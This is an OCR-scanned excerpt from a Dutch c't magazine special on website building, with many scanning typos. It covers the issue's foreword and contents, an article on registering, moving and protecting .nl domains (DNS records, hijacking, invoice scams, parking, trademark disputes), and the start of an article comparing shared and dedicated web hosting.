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Voorwoofd 


Vorm en inhoud 


internet ts een onmisbaar dee! van het (even geworden. Nooit eer- 
der was het zo makkelijk om het laatste nieuws binnen te halers, te 
achterhalen waar bepaalde files staan of te kijken of we het vandaag 
droog houden, Internet fungeert aJs een onuitputtelijke bran van 
informatle. Je kunt het zo gek niet bedenken of er is wel iemand die 
er een site over bijhoudt. 

Met Web 2.0 is het internetgebruik naar een hoger plan geti Ed > In 
plaats van de heletijd uitte zoeken waar de verschillende informa- 
tie zich bevindt, zorg je ervoor dat a lies wat je wilt weten op een 
plek bij elkaar komt in de vorm van een mash-up. Zo kun je in een 
oogopsJag zien wat er zich nu in jouw wereld afspeelt Daarnaast 
draait Web 2.0 ook nog om community building, waarbij gebruikers 
met dezelfde gedachten bij elkaar komen. Daardoor krijgt het web 
een sociaal en meer interactief aspect. 

Wat betreft het maken van websites ligt de tijd dat webdesign 
voomamelijk bestond uit het tnkloppen van HTML-tags in een kale 
tekstverwerker nog niet eens zo heel ver achter ons.Tegenwoordig 
Is webdesign veel meer dan alleen 'design' en wordt er een onder- 
scheid gemaakttussen het webdesign en webdevelopment Het 
eerste heeft vooral met vormgevfng en graftsche presentatte te 
maken, datgene wat de gebruiker ziet en ervaart, terwijl het tweede 
meergaat over de achterliggende informatie en het programmeren 
aan de 'achterkant'. 

Door de opkomst van contentmanagementsystemen wordt bij het 
ontwerpen van sites dan ook een strikte scheldlng aangehouden 
tussen vorm en inhoud, waarbij die twee pas tot een geheel worden 
samengevoegd als de pagina wordt opgevraagd. Daardoor zijn 
vorm en inhoud uiteindelijk onlosmakeiijk met elkaar verbonden, 
want dat is wat de gebruiker ziet. 

In deze c't-special geven we via een breed sea la aan onderwerpen 
een overzicht van de talloze aspecten die bij het maken van een 
website om de hoek komen ktjken: van low-level programmeren in 
PHP, high-end Ajax-frameworks en complete ontwikkelomgevingen 


tot een CSS-workshop en templatedeslgn, Daarbij is er natuurlijk 
ook aandacht voor het registreren van je domeinnaam, het hasten 
va n je website en de beveiliging ervan. 

Om de kennismaking met contentmanagementsystemen zo laag- 
drempelig mogelijkte maken, hebben weje een groot deel van het 
werk al uit handen genomen met onze kant-en-k!are c't-webontwik- 
kelomgeving. De basis daarvoor is XAMPP, waarin we de populaire 
co nte ntma n a gem ent system e n J oo m la, Dru pa t. Wo rd P r e s $, M ed i a - 
Wiki en phpBB gefnstalleerd en gebruiksklaar hebben geconfigu- 
reerd, Veel plezier met het ontdekken van de talloze mogelijkheden 
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Hosting 

Zonder hoster geen eigen website, Maar er zijn tegenwoordig zoveet 
hostingaanbieders met elk hun eigen pakketten dat je door de bomen 
het bos niet meer ziet Ook bij het registreren van domeinnamen is het 
opletten geblazen. 

Domeinnamen: registreren en beheren 6 

Het optimale hostingaanbod | o 

H osti ng m et geTnteg reerd CMS 14 

Contentmanagement 

Voor het ontwerpen van websites heb je de keus uit een enorme berg 
programma's. Daarmee heb je rn een mum van tfjd een website, web- 
winkel of blog online. 


Website-software; marktoverzicht 20 

Sho p-softwa re voor je e ig e n we b wi nkel 28 

Weblog opzetten met Word Press 34 

Wi ki's succesvol i n zetten 38 


Joomla! 

Een van de popuiairste eontentmanagementsystemen is Joomla. Niet 
alleen omdat het gratis is, maar ook vanwege de flexibiliteit die het btedt 
We helpen je met het installeren en configureren ervan en laten zien hoe 
je zeff een nieuwe template maakt, 

De eerste sta ppen 42 

Maak een persoonlijke lay-out 46 


Webdesign 

Om te voorkomen dat het rnaken van Je website een ellenlang verhaal 
wordt, geven we tips over het gebruik van afbeeldingen en fonts, hoe 
je handig kolommen kunt inzetten en noemen we enkeie tools om je 
paglna’s te debuggen. 


Softwarebespreking 43 

Characterset-basics voor webdesigners 52 

Ti ps en trues voo r we bgra p h ics 56 

M ee rkoloms I a y-outs met CSS 60 

Websites debuggen; webmaster toolkit 64 

Webdesign voor mobfele apparaten 68 
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Ajax 

Het programmeren van JavaScript- en Ajax-toepassingen is voor pure 
webdesigners een hele klus. Maar gelukkig zijn er krachtige frameworks 
die het een stuk makkelijker maken. 

Aj ax-a pp ttcati es zelf prog ra m mere n 72 

Je eigen sites verfraaien met Web 2.0 78 

Ajax-frameworks: Java Seri pt-effecten toepassen 82 


Flash en website-modding 

AIsjeje website wilt opleuken met complete grafischeapplicaties, kun 
je dat met Flash doen. Flash is met alleen makkelijk voor webdesigners, 
maar heeft ook voor codegeorienteerde ontwikkelaars wat te bieden. 
Ook met XSLT en user stylesheets zijn er mogelijkheden om je website te 
verfraaien* 


0 nt w tkkel too Is voor Flash 88 

Dy n a m i sc he opma ak m et XSLT 92 

We bsites mod den en a an passen aa n je eig e n sma a k 98 

Wid gets: m i n i-websites bij el kaa r kl i kke n 102 


Webprogrammeren 

Bij het programmeren van wat ingewikkeldere websites ontkom je met 
aan servers I de programmeren, De ontwlkket mogelijkheden zijn dan prak- 
tisch onbegrensd, Gelukkig zijn er ontwikkeiomgevingen om je daarbtj te 
helpen. 


c't-webontwikkelomgeving 106 

Gratis ontwikkelomgeving Visual Web Developer 112 

Webontwfkkeling met Ruby on Rails 116 

Dynamische websites met Server Side Includes 120 


Security 

Voor je het weet H gaan er alferlei persoonlljke gegevens van en naar inter¬ 
net. Er zijn genoeg bad guys die erop uit zijn om die gevoelige data te 
onderscheppen. Hoe beveilig je je Webserver tegen deze soort crimineien? 

Webmailformulieren tegen spammers beveiligen 124 

Websites tegen crimineien beveiligen 126 


^ Softlink 

Typ op www.ct.nl de code achter de softlink in en je gaat direct 
naar de downloads of aarwullende literatuur bij het artikel 
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Holger Bleich, Mariska van Dasselaar 

Adres op internet 

Domeinen registreren en beheren 

Korte, krachtige webadressen zijn steeds meer een zeldzaam goed. Als je dan eindelijk 
die felbegeerde domeinnaam te pakken hebt, moet je hem we I zien te behouden. Wat zijn 
eigenlijk de risico's van het verhuizen, beheren en parkeren van een domein? En hoe weet je 
dat jouw domein veilig staat en een ander er niet mee aan de haal gaat? 
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DNS query 


Query type: 

| Host name lo Address Lookup IFV4 (A Recartf) ~~ 

ii rnniT 

Hostname to Address Lookup IPv6 (AAAA Record) 
Address lo Hostname Lookup (PTR Record) 

Mail Exchanger Lookup (MX Record) 

NamsseFver Lookup (NS Record) 

Stad of Authority Lookup (SQA Record) 

Location Lookup (LOG Record) 

Taxi Lookup (TXT Record) 


B Recursive query 


The domain name system (DNS) provides far more than just the IP address for a 
computet name Our online tool shews you the following information 

Query types 

Most query types are spec ified in RFC 1035 Ml responses include a TIL (time to tive) 
value, which specifies how long (in seconds) this information is to be considered valid 
After this bme a new query re required The DNS server at the ISP uses this 
information to decide how long to retain a record in its cache _ 


Application Monitoring Tool 

Integrated Application Server, 

Web Applications, Database* and 
Server Monitoring 

Try Free Edition 
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Anti-Virus 

DNS query 

Brawsertheck 

Sutmet calculator 

Emailclneck 

MAC addresses 

CanfickerlEst 

RFCs 

Test SSL certificates 

Pmg 

Whois query 

Bandwidth calculator 

My IP address 

Spam 1st query 

Traceroute 

ip addresses 

JJsfCURITt 


Met DN5-query r szoals die van The H Online kunnen DNS-records van domeinen tot in 
detail worden bekeken. 


dit moment beheert de SIDN 
i 1 (Stichting Internet Domeinregistra- 
tie Nederland) meer dan 3.490,000 
geregistreerde .nl-domeinnamen (augus- 
tus 2009}, Daarmee Is ml na .de, .ce en .uk 
de meest voorkomende landgereiateerde 
URL-extensie in de lijst r waar op grote af- 
stand .com bovenaan staat. Dat bet drin- 
gen geblazen is op de domeinnamenmarkt 
lijkt duidelijk, Zeker als je in acht neemt 
dat in de Grote Van Dale *maar‘ ongeveer 
225,000 trefwoorden staan, een aantal dat 
met afletdmgen en samenstellingen nog 
we! vele malen verveelvoudigt. Dan zijn 
er natuurlijk ook nog 94.250 Nederlandse 
familienamen. Makkelijk te onthouden 
Nederlandse begrippen worden door deze 
krapte op de markt steeds meer waard. 

De supervisie over de Internetnamen 
(Domain Name System, DNS) ligt in ban- 
den van de Internet Corporation for As¬ 
signed Names and Numbers (ICANN). Zij 
delegeren het verstrekken en beheren 
van de TLD's (Top Level Domains) aan de 
domeinregisters, ook wel Network Infor¬ 
mation Centers (NIC) genoemd, Elke do- 
meinenbeheerder mag zelf bepalen hoe 
hij zijn organlsatie regelt In Nederland 
werkt het SIDN als een soort genootschap 
waar gratis informatie beschikbaar is over 
de beschikbaarheid van mternetdomei- 
nen. ledereen kan een nl-domemnaam 
aanvragem Dat kan echter alleen via een 
van de SIDN-deelnemers, De meeste van 
die deelnemers zijn hostingbedrijven, In¬ 
tern etser vice of access providers. Op de 
website van de SIDN Is een lijst te vinden 
met daarop alie deelnemers [1]. 

Provider kiezen 

Als je een domein wilt verhulzen of aanvra- 
gen, heb je de keuze ult een onoverzichte- 
iijke hoeveelheid aanbieders van diensten. 
De prijzen en looptljden van de overeen- 
komsten verschiilen enorm. Het is dus aan 
te bevelen de markt eerst eens goed te ver- 
kennen alvorens je toesiaat. Zo kun je voor 
een .nl-domeinnaam € 2,50, maar ook net 
zo makkelijk€ 25 per jaar betalen. 

De makkelijkste en meest gekozen me- 
thode om een domemnaam te registreren, 
is via een webhoster. Dit is meestai in com- 
binatie met een web- en mailservice in een 
ailes-in-een-pakket. Overigens kun je bij 
de meeste webhosters ook kiezen voor al- 
leen een domein. 

Er Is voorzichtighetd geboden als een 
aanbieder geen SIDN-deelnemer is. In dat 
geval registreert de aanbieder domeinna- 
men niet rechtstreeks bij de SIDN, maar via 
derden. Uit ervaringen van veel webmas¬ 
ters blijkt dat zulke constructies proble- 
men kunnen opleveren; wijzigingen aan 
de DNS, dus als je domein naar een ander 
IP-adres moet gaan verwijzen, duren vaak 
langer, Ook worden aanvragen om van 
provider te wisselen soms niet verwerkt. 
Controleer dus van tevoren of de hoster 
van jouw keuze we! in de lijst van SIDN- 


deelnemers staat Houd er hierbij wel re- 
kenlng mee dat bedrijven vaak een andere 
naam bebben dan hun merken. Zo staat 
CompuServe bijvoorbeeld onder moeder- 
bedrljf AOL Nederland B.V. vermeld. 

Domeinregistraties tussen providers en 
de SIDN bebben een looptijd van een jaar. 
Dit is onafhankelijk van de minimale con- 
tractduur van een hostingpakket van de 
klant. Om die reden vragen webhosters 
hun klanten meestai meteen voor een heel 
jaar te betalen. Als je tussentijds je contract 
opzegt, heb je volgens de algemene voor- 
waarden geen recht op terugbetaling, Als 
je van plan bent je website bij een andere 
webhoster onder te brengen, houd dan re- 
kening met de verlengingstermijn van het 
lopende contract om de kosten te beper- 
ken. 

Het is sowieso verstandig om in de 
gaten te houden wanneer je moet betalen 
en direct op eventuele aanmaningen te 
reagerem Webhosters reageren soms over- 
dreven streng a!s klanten te laat zijn met 
betalen. In het gunstigste geval blokkeren 
ze in eerste instantie de website, maar in 
het ergste geval wordt je domein weer 
vrijgegeven voor registratie. Voordat een 
domein weer op straat ligt, geeft de SIDN 
domeinhouders in elk geval 30 dagen de 
tijd om tegen beeindiging van het abon- 
nement in bezwaar te gaan. Niet alleTLD- 
registrars zijn zo coulant. 

Naamkunde 

Wie ongebruikelijke domeinextensies wil 
hebben, vist bij webhosters vaak achter 


hef net, Ze beperken hun aanbod veelal 
tot populaire TLD's zoals ml, .com, met, 
jnfo of .biz. In dat geval zul je je tot ge- 
specialiseerde domelnaanbieders moeten 
wenden. Die zijn in de regel duurder dan 
webhosters, maar daar staat tegenover dat 
ze meer onafhankelijkheid bieden, omdat 
ze de klant toegartg verlenen tot de do- 
meinregistratie-informatie. 

Er wordt al geruime tijd gewerkt aan de 
mogelijkheid om willekeurige Top Level 
Domains (TLP) te kunnen registreren. 
Het zou zomaar nog dit jaar zover kun¬ 
nen zijn dat nieuwe TLD’s in de trant van 
jansen, .apple of .sport in principe door 
ledereen geregistreerd kunnen worden, 
De kosten zullen echter zo hoog zijn dat 
meneer Jansen er voor zijn hobbywebsite 
Never van afziet. Het zullen hoog uit grote 
bedrijven of gemeenten zijn die dit soort 
domeinen Eaten registreren aangezien Paul 
Twormey, president en bestuursvoorzitter 
van de ICANN, het onlangs over 185.000 
dollar per TLD had. Onafhankelijk van de 
TLD bestaan voor elk domein vastgelegde 
speciflcaties die voor elke deelnemer van 
de DNS toegankelijk moeten zijn. Ze zor- 
gen ervoor dat de beschikbare diensten, 
met name HTTP en mail, onder het domein 
bereikbaar zijn. De DNS-gegevens die voor 
het forwarden van een naam relevant zijn, 
heten Resource Records (RR’s). 

Het A-record bevat het IP-adres waar het 
domein naar verwijst en waar de webcon- 
tent zich bevindt. In het N5-record staan de 
voor het domein verantwoordeiijke name- 
servers, meestai dus de nameservers van 
de provider die ze beheert. Het MX-record 
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legt vast welke mailserver verantwoorde- 
lijk is voor het ontvangen van e-mail aan 
gebruikers binnen het domein. De resour¬ 
ce records kunnen via de DNS-Lookup-ser- 
vices warden ingezien [2]. 

Alleen als de domeinhouder deze re¬ 
cords zetf kan veranderen, is het domein 
flexlbel. Als je je website bijvoorbeeld naar 
een andere server verhuist, hoef je dan al- 
teen maar het A-record aan te passen am je 
site direct weer via je domeinnaam te kurv 
nen bereiken. Maar het is opletten gebla- 
zen bij hostingpakketten: daar delen veel 
websites vaak een IP-adres. Als je een do¬ 
mein via het A-record naar een website in 
zo'n hostingpakket wilt iaten verwijzen, is 
het aan te raden bij de webhoster te infor- 
meren hoe je dit predes moet aanpakken. 

De webhosters zelf bieden voor de via 
hen geregistreerde domeinen vaak alleen 
een redirect-service aan, die hooguit als 
noodoptossing kan worden beschouwd* 
Bij een header-redirect stuurt de DNS- 
server van de webhoster je door naar een 
andere URL Deze URL verschijnt dan ook 
in plaats van de ingevoerde domeinnaam 
in de adresbalk van de browser, Dit pro¬ 
blem kun je omzeilen met een frame- 
redirect* Hiermee zorgt onzichtbare HTML- 
code ervoor dat de browser de site in een 
eveneens onzichtbaar frame laadt en de 
oorspronkelijke URL in de adresbalk blijft 
staan* 

Sinds kort heb je bij een aantaf webhos¬ 
ters daadwerkeiijk toegang tot de DNS- 
record s van domeinen* Webhosters vrezen 
vooral onervaren webmasters die onjuiste 
records aanmaken, waardoor er meer sup- 
portaanvragen zullen binnenkomen. Om 
die reden wordt er dan ook regelmatig in 
grote letters gewaarschuwd voor verande- 
ringen. 

Webhoster Strato biedt bij haar geregis¬ 
treerde domeinen een originele en han- 
dige aanvullende DynDNS-service die je 
op elk moment kunt uitschakelen* Zo kun 
je je via breedband aangesloten computer 


thuis onder je eigen domein berejkbaar 
maken voor bezoekers. Strato levert voor 
dit doel een client die je huidige IP-adres 
aan de DynDNS-server meldt. Die ieidt dan 
op zijn beurt a lie requests op je domein 
om naar dit IP-adres* 

Domeinpiraterij 

Domeinregistratie is tegenwoordig gro- 
tendeeis professioneel georganiseerd en 
de verschillende registrars staan dan ook 
in contact met elkaar. Terwijl het in de oer- 
tijd van het web dagen duurde voordat 
een domein daadwerkeiijk geregistreerd 
was, is het tegenwoordig vaak binnen een 
uur geregeld, De SIDN zegt een domein- 
aanvraag door de deelnemer waar jij je 
aanvraag hebt ingediend in ieder geval 
binnen een dag te bevestigen. Hierbij ben 
je dus afhankelijk van de snelheid van de 
deelnemer waar jij je domeinaanvraag 
hebt ingediend. Verder voert de SIDN 
twaalf keer per dag een update door in de 
.nl-zonefile, zodat de nameservers binnen 
de kortste keren van jouw nieuwe domein 
op de hoogte zijn. Toch kan het nog wel 
een dag duren eer alle nameservers geup- 
datet zijn. Het uiteindelijke doel is om de 
zonefile-update realtime te Iaten verlopen* 
Hoe sneller het registratieproces verloopt, 
hoe eerder je als eigenaar zekerheid hebt 
dat het gewenste domein nog beschikbaar 
is, De kans dat iemand het domein voor 
je neus wegkaapl, wordt zo in ieder geval 
een stuk kleiner. 

Hoe meer domeinen waard zijn r hoe po- 
pulairder ze zijn, Kwaadwillenden loeren 
op domeinen die dreigen vrij te komen en 
zetten inmiddels zelfs eigen botnets op 
om domeinen te kapen. Als je jezelf tegen 
domeinkaping wilt beschermen, is het aan 
te raden om je domeinregistratie goed in 
de gaten te houden. Bij .com-domeinen 
moet de provider bijvoorbeeld regelmatig 
de eigenaar bevestigen (renewal) omdat 
het huurcontract anders vervalt* Alleen a I 


om die reden is het belangrijk am met een 
serieuze registrator in zee te gaan. 

Verhuisperikelen 

Aan het wlsselen van provider kleven 
nogaf wat risico’s. Het hangt hierbij van de 
webhoster af welke regels in acht moeten 
worden genomen. Als je je niet exact aan 
de voorgeschreven procedure houdt, zou 
je domein plotseling voor nieuwe registra- 
tie kunnen worden vrijgegeven. Met name 
als het om een hele domeinportfolio gaat, 
verlies je al snei het overzicht bij alle bijbe- 
horende administratieve rompslomp. 

We zullen aan de hand van een ,nl-do- 
mein Iaten zien wat de juiste methode is 
om van webhoster te wisselen. We gaan 
er hierbij vanuit dat het domein via een 
deelnemer van de SIDN is geregistreerd. 
Allereerst zeg je je abonnement op bij je 
huidige provider volgens de daar gehan- 
teerde methode en breng je deze op de 
hoogte van je verhuisplannen. Houd hier¬ 
bij rekening met de gehanteerde opzeg- 
gingstermijn. Vervolgens vul je het op de 
SIDN-website beschikbare 'Formulier voor 
verhuizing .nl-domeinnaam naar een ande¬ 
re deelnemer 1 in en stuur je die op naar je 
nieuwe provider. Er is een apart formulier 
voor een heel domeinportfolio* Let bij het 
invullen goed op of alle gegevens kloppen 
om foutieve verhuizingen te voorkomen. 
Zodra deze aanvraag door je nieuwe pro¬ 
vider is goedgekeurd, dient de provider 
een aanvraag in bij de SIDN. Fas als deze 
aanvraag is goedgekeurd, kan het domein 
worden verhuisd* 

Het kan in bepaaide gevallen voorko¬ 
men dat je oude provider niet met de ver¬ 
huizing akkoord gaat* De SIDN meldt op 
haar website dat ze de verhuizing alsnog 
zullen doorzetten indien deze door de 
nieuwe deelnemer met het juiste formulier 
is ingediend. Dit is om te voorkomen dat 
de oude provider een bepaaide domein¬ 
naam kan vasthouden* 

Lolbroeken kunnen hier misbruik van 
maken door in het wilde weg aanvragen in 
te dienen voor een domeinwissel. Op die 
manier sloeg bijvoorbeeid een 18-jarige 
Duitse scholier ebay.de aan de haak. De 
Amerikaanse provider van eBay had het 
verzoek om bevestiging door de Duitse 
registrar Denic blijkbaar niet serieus ge¬ 
nomen of gewoon over het hoofd gezien. 
Ook de domeinnamen janpeterbalkenen- 
de.nS en jan-peterbalkenende.nl waren 
slachtoffer van domeinkaping, namelijk 
door Stichting Liever. De minister wist een 
rechtszaak tegen Stichting Liever te win¬ 
ner aangezien Jan Peter Balkenende geen 
toestemming had gegeven voor het ge- 
bruik van zijn naam als domein* 

Overigens heeft de SIDN sinds begin 
vorig jaar een gesohillencommissie voor 
.nf-domeinnamen ingesteld, Voortaan kun¬ 
nen geschiflen over de registratie van do¬ 
meinnamen eenvoudig en goedkoop door 
deze commissie worden behandeid. 
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Een aantal webhosters (hier Strato) 
bieden hun klanten toegang tot de DNS-records van het domain. 


Oplichtlngspraktijken 

Hoewel het domein er weliswaar 
met door in gevaar komt r weten 
opllchters met truejes wel geld te 
slaan uit de angst voor verlies. Zo 
komt het regeimatig voor dat web¬ 
masters door facturen van dubi- 
euze diensten worden geteisterd. 

Door het betalen van een bed rag 
van soms wel honderden euro's 
zou je domein worden vertengd, 
terwijl je het domein daarbEj soms 
zelfs op naam van de betreffende 
dienst zet Dan ben je dus niet al- 
leen je geld, maar ook je domein 
kwijt. Kennelijk hopen deze op- 
liehters dat boekhoudafdelingen 
het bedrag blindefmgs overmaken 
zonder navraag te doen bij hun IT- 
afdeling. 

Soms worden domeineigena- 
ren ook telefonisch onder druk 
gezet Enige tijd geleden werden 
website-etgenaren door een zoge- 
naamde domeinregistratiedienst 
gebefd met de mededellng dat 
iemand het domein van die web- 
site-eigenaar probeerde te kopen. 

Alleen de betaling van een bedrag 
van een paar honderd euro zou dit 
nog kunnen voorkomen, Dit grenst 
aan afpersing en is waarschrjnlijk 
zelfs strafbaar. 

Parkeerplaats 

Domeinen die tijdelijk zonder in- 
houd een slapend bestaan Irjden, 
kun je bij zogenaamde domain 
parking services aanmeiden, Hiermee kun 
je gepaste advertenties op je lege domein 
plaalsen om tussentijds geid te verdle- 
nen. Inmiddels he eft de reputatie van deze 
diensten nogal wat deuken opgelopen. Ze 
kunnen namelijk ook door domeinkapers 
misbruikt worden. Die kunnen populate do¬ 
meinen hier tussentijds stailen voordatze de 
verkoop ingaan. 

Een bekende domain parking service is 
domeinprovider Sedo. Door middel van een 
aan passing aan het A~record of de redirect 
leidt je het domemverkeer door naar het 
partnerprogramma van Sedo. In plaats van 
een lege site krijg je korte advertentieteksten 
met links te ziem Per klik op zo’n link verdien 
je een paar cent, waardoor je wellicht de kos- 
ten van je domein weerterugverdient. 

Toch is het parkeren van een domein niet 
alleen maar rozengeur en maneschijn. Stel 
dat je domein de naam van een bekend 
merk heeft en je deze voor toekomstlge 
doeleinden parkeert en geld verdient door 
mtddel van redamebanners. Kan de offici- 
ele merkhouder dit domein dan opeisen? 
Volgens ICT-junst Arnoud Engeifriet is dit 
wel mogelijk [3]: "Een parkeerpagina wordt 
over het algemeen niet als legitiem gebruik 
gezien, dan doe je niets' met de site. Dus om 
die reden kan een merkhouder de domein- 


naam dan vaak wel opeisen." Gebruik je het 
domein bijvoorbeeld voor je prive-site, dan 
is de kans minder gmot dat je er merkrech- 
ten mee sehaadt, aangezien je de site dan 
wel legitiem gebruikt* 

Risico’s 

Voordat je een bestaande merknaam als 
domein registreert, is het dus aan te raden 
grondig te onderzoeken wat de eventuele 
risico's zijn van het gebruiken of parkeren 
van dit domein. In het ergste geval wordt 
je domein opgeeist door het merk in een 
rechtszaak, 

Dit voorjaar werd een uitvaartorganisatie 
nog door TomTom voor de rechter gesleept 
vanwege het gebruik van het domein gra- 
tistomtom.nl. Wie op deze website een ult- 
vaartverzekering afsloot, kreeg een gratis 
TomTom cadeau, Volgens TomTom gaf het 
woord 'gratis 1 een verkeerde associatie met 
de TomTom-producten en zou er daardoor 
verwarring tussen de domein naam en het 
merk TomTom kunnen ontstaan. Ook zou er 
van de bekendheid van het merk TomTom 
geprofiteerd worden, terwiji het navigatie- 
systeem niet het enige cadeau is dat via gra- 
tistomtom.nl werd weggegeven, TomTom 


kwam dan ook als winnaar uit de bus en ging 
er met de domeinnaam vandoor [4]. 

Ook GeenStijl moest dit voorjaar een do¬ 
mein naa m i nleveren, en wel www.staatku ndig 
gereformeerdepartij.nl, De politieke party 
5GP (Staatkundig Gereformeerde Party) eiste 
de domeinnaam op vanwege haar merk- 
recht en omdat GeenStijl geen legitiem be- 
lang heeft bij het domein. Bovendien zou 
het domein ter kwader trouw geregistreerd 
zijn: GeenStijl wilde er satirische inhoud op 
plaatsen met betrekking tot actuele gebeur- 
tenissen, 

Het mag hiermee duidelijk zijn dat het 
oppassen geblazen is bij gebruik van een 
merknaam als domein. Het is dan ook aan 
te raden je eigen, originele domeinnaam te 
verzinnen om eventuele problemen te voor- 
komen. (mda) 

Literatuur 

[ 1 ] Act uele fij st va n SI D N-d ee t nemers; htt p Jt t i ny u rl . 
conn/ctspecial 

[2] DNS-query: www.h-online.tiom/nettools/tools/ 
dns-query 

[3j ICTRecht, http://ictrecht.nl 
[4] Uitspraken van hetWIPOm.b.t.domeingeschillen: 
www.wfpoJnt/amc/en/domains/decisionsx/ 
index.html dt 
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Holger Bleich, Noud van Kruysbergen 

Achter de schermen 

Zo kies je de optimale hoster 


Als webmaster is het vaak moeilijk kiezen bij welke webhoster je je website wilt uploaden* Door het 
grote aantal functies is het moeilijk in te schatten wat er nou echt nodig is* Dat wordt je ook nog eens 
lastiger gemaakt doordat providers elkaar met aflerlei aanbiedingen proberen te overtroeven. Afleen 
als je je niet laat verblinden door alle beloofde pracht en praal en de diverse mogelijkheden uit elkaar 
kunt houden, kun je dejuiste keuze maker. 


T ientallen providers struikelen over el- 
kaar heen om je met allerlei al dan niet 
tijdelijke aanbiedingen over de streep 
te trekken je website bij hen te hosten, Met 
steeds andere aanbiedingen en telkens weer 
nieuwe features proberen ze je tot een con¬ 
tract te verleiden. Alleen kom je er als web¬ 
master vaak pas achter dat je voor een ver- 
keerd pakket hebt gekozen als de paginal al 
online staan. Dan is het meestal al te laat om 
het nog te veranderen en zit je minimaal een 
jaar vast aan dat contract 

Zomaar voor iets tekenen wat wel inte- 
ressant lijkt, is dus geen goed idee, Voordat 


je concrete aanbiedingen gaat vergelijken, 
moet je eerst goed nadenken wat je eisen 
zijn* Gaat het om een kleine homepage van 
een vereniging, of wordt het meer een in- 
gewikkeld project voor een internetwinkel? 
Verwacht je veei netwerkverkeer of niet? 
Welke functies, scripttalen of databasever- 
sies heb je per se nodig en wat valt eerder 
onder de categoric 'leuk voor erbij'? Hoe- 
veel bezoekers verwacht je ongeveer, welke 
performance en welk netwerkverkeer is dan 
nodig? Als je daar niet realistisch en eerlijk 
tegenover jezelf in bent, zal je daar later mis- 
schien duur voor moeten betalen. 


Serverdeling 

De term webhosting staat In de praktijk 
meestal voor de zogenaamde shared hosting. 
Een provider zet dan meerdere websites van 
verschillende klanten op een server. Elke klant 
krijgt via FTP toegang tot zijn eigen home- 
directory. Daar mag je bestanden opsiaan 
en submappen aanmaken. Via het bijbeho- 
rende domein zijn de websitebestanden tn de 
home-directory voor iedereen op te roepen. 

Shared-hosting-klanten hebben prettig 
weinig met administratieve taken te maken. 
De provider zorgt voor het serverbeheer en 
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maakt vaak ook regefmatig back-ups van de 
gegevens. Je moet dan de serverrulmte en de 
resources van de computer we! met een onbe- 
kend aanta! buren delen. Afs de server alleen 
statist he webpagina's zou moeten afleveren is 
dat geen probleem, maar vaak moet deze ook 
scripts en databaseoperatles uitvoeren, wat a I 
snel flink meer resources vreet. 

Er zijn dan ook drie factoren waar je als 
klant geen invJoed op hebt en die belangrijk 
zijn voor de performance van je website: de 
hardware-uitrusting van de server, het aantal 
serverbenaderingen en bet resou reeverbruik 
van de naburige websites, Sites op shared- 
hosting-servers zijn dus onderhevig aan per- 
formanceschommelingen. In drukke tijden, 
vooral in de avonduren tussen 17:00 en 20:00 
uur, is het oproepen van webpagina's vaak 
duidelijk trager omdat servers dan sterker be- 
last worden, Als een server dan at bijna tegen 
zijn grenzen aan zit, kan de faadtijd zelfs ver- 
veelvoudigen. 

Mijn huis 

Als je bepaafde hardwareprestaties gegaran- 
deerd wilt hebben om een aantal diensten be- 
trouwbaar aan te kunnen bieden, kom je niet 
om een eigen server heen. Veel webhosters 
bieden deze zogeheten dedicated machines 
te huur aan. Dat is wel (aanmerkelijk) duurder 
dan een shared-hosting-pakket, maar je krijgt 
een vast gedefinieerd hard ware platform, dat 
in het rekencentrum van de provider alleen 
voor jouw website verantwoordelijk is. Als de 
eisen toenemen, kun je in het rekencentrum 
een tweede server huren om daar bijvoor- 
beeld een sterk gegroeide database op te 
zetten. Een upgrade van afzonderlijkeeompo- 
nenten is daarentegen meestal niet mogelijk, 
omdat een dergelijke handmatige ingreep te 
duur wordL 

Dedicated servers zijn er in root- en in 
managed-versies. Een root-server wordt door 
een provider bij wijze van spreken kant-en- 
klaar afgeleverd met een ge'fnstalleerde Lrnux- 
distributie of als Windows-server. Als hij je het 
administratorwachtwoord heeft overhandigd f 
ben je verder zelf verantwoordelijk voor het 
beheer van het systeem. Je moet er bij voor- 
beeld met regelmatige veiligheidsupdates 
voor zorgen dat de server tegen aanvallen 
van uit internet beschermd blijft. 

Het klinkt wel heel aanlokkelijk om heer in 
eigen huis te zijn, maar een slecht beheerde 
root-server kan een gevaarlijk wapen zijn, 
bijvoorbeeld aJs die door een aanvaller met 
een rootkit wordt gekaapt en misbruikt om 
spam te versprelden. Als je niet genoeg tljd 
en kennis hebt, kun je dus beter geen root- 
server nemen. Providers bieden voor derge- 
lijke gevallen tegen extra kosten aan om het 
servermanagement over te nemen. Je krijgt 
dan, net als bij shared hosting, alleen FTP- en 
usershell-toegang tot de server. Updates en 
n leu we software worden dan door de provi¬ 
der geinstalleerd. 

De webhosters maken het je allesbehalve 
makkelijk om het geschikte pakket voor je 
website te vinden. We hebben door de ogen 


van een onervaren gebrufker gekeken naar 
het aanbod aan shared hosting. Daarbij heb¬ 
ben we erop gdet dat de sites van de hosters 
ook voor beginners voldoende informatie 
geven zonder verwarring op te roepen en niet 
ieiden tot het afsluiten van een contract dat 
niet aan je wensen voided. 

Op de websites van de hosters is het vaak 
even zoeken om afle informatie over de di¬ 
verse pakketten bij elkaar te sprokkelen. De 
teneur die bij aanbieders van abonnementen 
voor mobiele telefoons en internetverbtndin- 
gen al langer gaande is om via allerlei drukke 
webpagina's de relevante informatie zoveel 
mogelijk te verstoppen, heeft zich sptjtig ge¬ 
noeg ook bij webhosters doorgezet. En dus 
zijn er aanbiedingen in de trant van de eer- 
ste drie maanden voor 1 euro per maand en 
daarna afhankelijk van het pakket een ander 
bedrag, maar soms is moeilijk te achterhalen 
hoelang je dan aan zo'n contract vastzit, of- 
tewel wat je uitelndelijk in totaal kwijt bent. 
Ook wordt er vofop gestunt met tijdelljk 
geen set-upkosten of met een gratis .nl-do- 
meinnaam. 

Wat je sowieso in de gaten moet houden, 
is dat de prijzen op deze sites soms concurre- 
rend lijken, maar vaak ook bedoeld zijn voor 
bedrijven, waardoor er nog geen BTW bij 
opgeteld is, Bij sommige aanbieders moet je 
eerst a I een heel ernd het bestelproces door 
voordat je achter het uiteindelijke bedrag 
komt dat je In totaal (en daarmee effectlef per 
maand) kwijt zult zijn. 

Toch is het noodzakelijk de totaal prijzen 
te vergelijken en je niet blind te staren op 
maandbedragen. 8ij het C klein'-pakket van 
hostingbedrijf.net betaal je € 4,20 per maand, 
en € 10 euro per jaar voor het registreren van 
de domeinnaam, oftewel € 70 per jaar. Het 
1-euro-pakket van B-SMARThosting heeft afs 
extra kosten ook € 10 voor de domeinnaam 
en daarnaast € 6 instel kosten. Dat is dan met 


€ 33 voor het eerste jaar de he!ft goedkoper. 
